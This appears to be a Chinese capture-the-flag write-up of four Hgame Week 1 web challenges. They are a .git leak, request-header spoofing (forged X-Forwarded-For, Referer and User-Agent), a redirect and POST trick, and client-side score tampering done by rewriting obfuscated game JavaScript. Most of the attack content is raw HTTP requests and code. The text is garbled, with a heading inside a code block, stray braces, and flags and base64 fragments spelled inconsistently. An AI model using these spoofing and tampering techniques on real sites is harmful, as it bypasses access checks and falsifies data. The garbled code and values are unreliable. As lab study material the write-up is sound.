Hgame WEEK1

WEB

1.cosmos 的博客

Cosmos 的博客

你好。欢迎你来到我的博客。

大茄子让我把 flag 藏在我的这个博客里。但我前前后后改了很多遍,还是觉得不满意。不过有大茄子告诉我的**版本管理工具**以及 GitHub,我改起来也挺方便的。

提到了版本管理工具和 github, 疯狂明示 git 泄露

访问.git 目录下的 config 文件,直接出 github 项目地址

```
[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
[remote "origin"]
    url = https://github.com/FeYcYodhrPDJSru/8LTUKCL83VLhXbc
    fetch = +refs/heads/*:refs/remotes/origin/*
```

访问地址, 在项目内找到



解码出 flag: hgame{glt le@k 1s danger0us !!!!}

2.接头霸王

看名字就是抓包改请求头

You need to come from https://vidar.club/.

You need to visit it locally.

```
You need to use
 Cosmos Brower to visit.
                           Your should
use POST method :)
 The flag will be updated after 2077,
 please wait for it patiently.
修改完的请求:
POST / HTTP/1.1
Host: kyaru.hgame.n3ko.co
Pragma: no-cache
If-Unmodified-Since:Fri, 01 Jan 2077 00:00:00 GMT
X-Forwarded-For: 127.0.0.1
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Cosmos Brower
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp
,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: OUTFOX_SEARCH_USER_ID_NCOO=818676422.9679877
Connection: close
Referer: https://vidar.club/
Content-Length: 2
flag: hgame{W0w!Your heads @re s0 many!}
3.CodeWorld
访问后打开 F12, 发现提示
         console.log("This new site is building....But our
  stupid developer Cosmos did 302 jump to this
  page..F**k!")
302跳转过来的,于是抓包,然后发访问网站根目录的请求
```

```
HTTP/1.1 302 Found
Server: nginx/1.14.0 (Ubuntu)
Date: Fri, 24 Jan 2020 07:44:04 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 211
Connection: close
Location: new.php
   <html>
   <head><title>405 Not Allowed</title></head>
    <body bgcolor="white">
       <center><hl>405 Not Allowed</hl></center>
       <hr><center>nginx/1.14.0 (Ubuntu)</center>
                                                  发现确实有302跳转, 且有405
    </body>
   </html>
                                                  拒绝使用方法访问
换个 POST 方法
<center><hl>人鸡验证</hl><br><br>目前它只支持通过url提交参
%来计算两个数的相加,参数为a<br><br>>现在,需要让结果为10</cer
ter>
出东西了
```

根据在 url 上提示加参数,注意加号要用 url 编码后表示。因为+号在 url 编码中会被解析为空 格

```
POST /?a=1%2b9 HTTP/1.1
                                                           HTTP/1.1 200 OK
Host: codeworld.hgame.day-day.work
                                                           Server: nginx/1.14.0 (Ubuntu)
Upgrade-Insecure-Requests: 1
                                                           Date: Fri, 24 Jan 2020 07:47:07 GMT
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
                                                           Content-Type: text/html; charset=UTF-8
AppleWebKit/537.36 (KHTML, like Gecko)
                                                           Content-Length: 224
Chrome/78.0.3904.108 Safari/537.36
                                                           Connection: close
Accept:
                                                           Location: new.php
text/html,application/xhtml+xml,application/xml;q=0.9,
                                                           Vary: Accept-Encoding
image/webp,image/apng,*/*;q=0.8,application/signed-exc
                                                            <center><h1>人鸡验证</h1><br><br>目前它只支持通过url提交参€
Accept-Encoding: gzip, deflate
                                                           66来计算两个数的相加,参数为a<br>>动r>现在,需要让结果为10<br>><
Accept-Language: zh-CN,zh;q=0.9
                                                           h1>The result is:
                                                           10</hl>hgame{C0d3_1s_s0_S0_s0_C0ol!}</center>
Connection: close
flag:hgame{C0d3 1s s0 S@ sO C0ol!}
```

打开后发现是 JS 写的一个小游戏,打开 F12读 JS 源代码,发现计分系统也是 JS 写的,完全 可以通过在本地修改分数拿到 FLAG

```
发现一段代码
gameOver(){
 let po="ejIy";
 let rt=po+"LmNj";
 let rou="L3N1Ym";
 let sche="aHR0c";
```

let k="c2Nv";

4.CXK 打篮球

```
let me=sche+"DovL2N";
  clearInterval(this.timer)
  this.context.clearRect(0,0,this.canvas.width,this.canvas.height)
  let stamp=md5(Date.parse(new Date())/1000);
  this.globalScore=this.globalScore+this.storageScore;
  this.context.font='32px Microsoft YaHei'
  this.context.fillStyle='#000'
  this.context.fillText('CXK, 你球掉了!得分:'+this.globalScore,404,226)
  $("#ballspeedset").removeAttr("disabled");
  let s=this.globalScore;
  (function(){
    let getU=me+"4ay5oZ";
    let rl=getU+"2FtZS53";
    let te=rou+"lpdA";
    let ey=k+"cmU=";
    \$.post(atob(rl+rt+te),atob(ey)+"="+s+"|"+stamp,
    function(data){
      alert(data);
    })
  })();
  this.globalScore=0;
改写一下,删去没有用的动画和字体相关的东西,因为这里每个 globalScore 都加上了一个
STAMP, 导致直接修改 globalScore 并不能达到效果, 所以然后通过修改 s 来修改最终发送
的成绩, 最终结果:
let po="ejIy";
let rt=po+"LmNi";
let rou="L3N1Ym";
let sche="aHR0c";
let k="c2Nv";
let me=sche+"DovL2N";
clearInterval(this.timer)
```

}

```
let stamp=md5(Date.parse(new Date())/1000);
let s=300000;
(function(){
    let getU=me+"4ay5oZ";
    let rl=getU+"2FtZS53";
    let te=rou+"1pdA";
    let ey=k+"cmU=";
    $.post(atob(rl+rt+te),atob(ey)+"="+s+"|"+stamp,
    function(data){
        alert(data);
    })
})();
把这段奇妙的小jb话扔到 console里面执行,弹窗出 flag
```